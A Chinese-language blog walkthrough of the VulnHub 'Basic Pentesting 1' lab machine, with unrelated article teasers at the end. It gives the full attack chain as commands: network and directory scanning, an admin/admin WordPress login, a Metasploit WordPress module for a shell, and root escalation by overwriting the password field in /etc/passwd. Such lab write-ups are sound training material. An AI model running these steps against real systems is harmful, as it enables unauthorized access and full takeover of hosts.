Basic Pentesting靶机打靶记录

embedded/2024/10/10 20:31:40/

一、靶机介绍

下载链接:https://download.vulnhub.com/basicpentesting/basic_pentesting_1.ova

二、信息收集

确认靶机ip:192.168.242.136

arp-scan -l

扫描端口

nmap -p- -A -sS 192.168.242.136

这里开放了21,22,80端口

扫描目录

apt-get update
apt-get install dirsearch
dirsearch -u http://192.168.242.136

这里探测出 /secret 目录

进入网站

那就看看/secret

看起来是一个wordpress的cms搭建的平台

用dirsearch扫一手二级目录看能不能找到后台页面

dirsearch -u http://192.168.242.136/secret/

这里探测出很多,最重要的还是探测出/wp-admin,这个后台地址访问一手试试

这里出现了登陆界面

正准备试试弱口令发现url被重定向到vtcsec这里,手动重新换上目标的ip

简单试一下弱口令 用户名和密码都是admin

三、Getshell

直接上msf搜索历史漏洞

msfconsole
search wp_admin

存在漏洞

use 0 
show options 
set USERNAME admin
set PASSWORD admin
set RHOSTS 192.168.242.136
set TARGETURI /secret
run

成功拿到 meterpreter 会话

我们转成交互式的会话

shell
python -c 'import pty;pty.spawn("/bin/bash")'

四、权限提升

提权的话这里发现 sudo -l 需要密码,只能换个方法

知道了/etc/passwd 第二位x,是密码占位符,密码其实是加密存储在/etc/shadow下的,可以假设x 位密码存在,那么root 就会默认密码为x位。就不会去读取/etc/shadow.正好可以利用edit来进行编辑

大概意思就是系统会先读取/etc/passwd中的密码,如果没有再去读/etc/shadow里,所以我们修改/etc/passwd中的密码即可

利用openssl passwd -1,生成密码,密码明文为admin

$1$T2Ci6GTJ$dBtNVPLXwDACyrFGO7azx0

ctrl + c 然后输入 N ,返回meterpreter会话

meterpreter 下有个edit 命令,是类似于vim编辑器的,用来编辑文件的

meterpreter下,输入命令:edit /etc/passwd,发现可以编辑,将之前生成的密码替换x的位置,然后wq保存设置

然后重新转成交互式的会话,直接su root ,输入密码 admin 即可提权成功

提权成功!!!

五、总结

我用的wp漏洞打的这个靶机,还有一种方法用msf里面的ProFTPD 1.3.3c漏洞也可以getshell并且拿到shell就是root权限。


http://www.ppmy.cn/embedded/125522.html

相关文章

python 实现finding bridges寻找桥梁算法

finding bridges寻找桥梁算法介绍 “Finding Bridges”算法,通常指的是在图论中寻找图中桥梁(或称为割边)的算法。桥梁是指图中的一个边,如果去掉这条边,图的连通分量会增加。在不同的编程语言和场景中,这…

【JDK17 | 14】Java 17 深入剖析:密封类

引言 Java 17引入了一项重要的新特性——密封类(Sealed Classes),这标志着Java在面向对象编程领域的又一次重大进步。密封类提供了一种机制来精确控制类的继承链,使得类的设计者能够明确规定哪些类能够继承或实现该类。 一、密封类…

Unity转Unreal5之从入门到精通 Spline(样条曲线)组件的使用

文章目录 前言实现一个沿路径运动的功能1.新建一个基于 Actor 的蓝图MoveActor,2.并添加 SplineComponent样条组件3.新建 2 个变量,4.在 Tick 事件中设置物体的位置和旋转,蓝图代码如下5.编辑样条曲线6.将上面的蓝图拖进关卡,修改物体的移动速度。7.运行后,该角色就会沿着…

Windows 下纯手工打造 QT 开发环境

用过 QtCreator 和 VS QT 插件,都觉得不是很理想。所以有了这个想法。 手工打造的 QT 的开发环境,是不需要安装上面两个程序的。 1、下载 vcpkg,编译 QT6 下载地址:https://github.com/microsoft/vcpkg.git 进入到 …

Qt 5开发步骤及实例

目录 界面设计编写相应的计算圆面积代码 界面设计 创建桌面应用程序 得到这样一个树形视图 双击界面文件中的dialog.ui 直接双击控件label改名,然后修改最后一个label的属性 修改这个标签的样式,把frameshape改成Panel,frameshadow改…

Visdom可视化——教程

This is a simple tutorial to start using Visdom to plot graphs when using PyTorch. 这是教程链接。

广州自闭症寄宿学校有哪些?选择最适合孩子的学校

在广州这座繁华而充满人文关怀的城市里,有一群特殊的孩子,他们被称为“星星的孩子”——自闭症儿童。他们生活在自己的世界里,对外界的刺激反应迟钝或过度敏感,社交互动困难,语言表达受限。然而,在广州&…

全闪 SDS 一体机提供 FC 能力承载医院核心业务

摘要:邹平市人民医院使用 X3000 SDS 一体机组建分布式存储集群,通过 FC 接口 与 VMware 集群连接,以全闪池承载核心业务,对象存储承载 PACS 数据,实现存储架构的升级改造。 “新医改”的不断推进,对医院的…